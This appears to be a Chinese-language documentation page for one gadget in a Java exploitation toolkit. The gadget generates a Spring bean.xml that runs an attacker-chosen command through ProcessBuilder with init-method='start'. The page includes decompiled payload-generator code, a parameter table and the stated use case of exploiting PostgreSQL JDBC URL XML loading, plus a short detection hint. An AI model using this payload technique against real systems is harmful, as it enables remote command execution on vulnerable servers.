- 类别:
common别名:— 优先级:20 - 作者:—
- 依赖:
spring-bean - 实现:
Gadget
生成直接启动 ProcessBuilder 的 Spring bean.xml。
- 入口
tags:Other、END - 衔接
nextTags:无 excludes:无
关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:
public String getObject() {
String payload = null;
if ("win".equalsIgnoreCase(this.os)) {
payload = String.format(template, "cmd", "/c", this.cmd);
} else if ("linux".equalsIgnoreCase(this.os)) {
payload = String.format(template, "bash", "-c", this.cmd);
} else {
ThrowsUtil.throwGadgetException("not support os: " + this.os);
}
HashMap<String, byte[]> fileMap = new HashMap<String, byte[]>();
fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes());
this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);
return payload;
}
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
return this.getObject();
}getObject() 根据 os 参数选择 cmd /c 或 bash -c,把命令放进 ProcessBuilder 构造参数,并设置 init-method="start"。
生成的 XML 会写入 ContextTag.CACHE_FILES_MAP,因此它既可作为字符串返回,也可由文件型 payload 取出投递。
invoke() 不消费内层 gadget,直接生成 XML;这是 Other,END 标签的链尾构件。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
cmd |
命令 | — | "calc" |
— |
os |
目标操作系统 | win/linux | "linux" |
linuxwindows |
- 注解描述:适用于 ClassPathXmlApplicationContext 加载xml文件场景,例如在 PostgreSQL jdbc url 利用,通过加载bean.xml文件 通过 ProcessBuilder 实现命令执行
- 依赖条件:
spring-bean。 - 依赖目标用
ClassPathXmlApplicationContext等方式解析 Spring bean XML;os只支持源码中的win/linux两个分支。 END标签说明它可以作为链尾构件;如果没有上游包装器触发其返回对象,单独构造不会自动执行。
关注 XML 中 java.lang.ProcessBuilder、init-method="start"、cmd/bash 三段式参数。
自由构件,未直接出现在预设链中。
- 机器可读元数据:
index/gadgets.json。 - 完整反编译源码:。